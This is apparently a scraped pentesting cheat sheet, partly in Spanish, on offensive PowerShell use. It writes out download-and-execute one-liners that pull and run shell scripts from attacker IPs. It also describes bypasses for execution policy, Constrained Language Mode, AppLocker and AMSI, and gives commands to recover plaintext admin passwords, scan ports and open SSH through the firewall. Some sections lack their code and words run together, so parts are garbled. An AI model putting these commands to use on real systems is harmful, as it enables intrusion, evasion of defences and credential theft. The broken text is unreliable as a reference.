PowerShell es una solución de automatización de tareas multiplataforma formada por un shell de línea de comandos, un lenguaje de scripting y un marco de administración de configuración.
Get-Help*#List everything loadedGet-Helpprocess#List everything containing "process"Get-HelpGet-Item-Full #Get full helpabout a topicGet-HelpGet-Item-Examples #List examplesImport-Module<modulepath>Get-Command-Module <modulename>
Descarga y carga de scritps en memoria
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1')| powershell -noprofile -#From cmd download and executeIEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1');Invoke-Module somepowershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"iex (iwr '10.10.14.9:8000/ipw.ps1')#From PSv3$h=New-Object-ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText$wr =[System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1")$r =$wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(#https://twitter.com/Alh4zr3d/status/1566489367232651264#host a text record with your payload at one of your (unburned) domains and do this:powershell .(nslookup -q=txt http://some.owned.domain.com)[-1]
Download & Execute in background with AMSI Bypass
Primero en crear script y pasarlo a Base 64
Using b64 from linux
Descarga EXEs
System.Net.WebClient
Invoke-WebRequest
Wget
BitsTransfer
Execution Policy
By default it is set to restricted. Main ways to bypass this policy:
PowerShell Constrained Language Modelocks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.
Check
Bypass
In current Windows that Bypass won't work but you can usePSByPassCLM.
To compile it you may needtoAdd a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.
An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
AppLocker is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.
It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.
Check
Check which files/extensions are blacklisted/whitelisted:
This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Bypass
Useful Writable folders to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside C:\Windows\System32 or C:\Windows there are writable folders you can use to bypass this.
Commonly trusted"LOLBAS's" binaries can be also useful to bypass AppLocker.
Poorly written rules could also be bypassed
For example, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, you can create a folder called allowed anywhere and it will be allowed.
Organizations also often focus on blocking the %System32%\WindowsPowerShell\v1.0\powershell.exe executable, but forget about the otherPowerShell executable locations such as %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe or PowerShell_ISE.exe.
DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using DLLs as backdoors will help bypassing AppLocker.
amsi.dll is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will use is to overwrite the instructions of that DLL in memory to make the detection useless.
This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.
The steps performing API cal hooking of .NET methods are:
Identify the target method to hook
Define a method with the same function prototype as the target
Use reflection to find the methods
Ensure each method has been compiled
Find the location of each method in memory
Overwrite the target method with instructions pointing to our malicious method
AMSI Bypass 3 - SeDebug Privilege
Following this guide & code you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads amsi.dll and disable it.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
$env:UserName @Get UserName value
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Get-Clipboard
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
route print
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
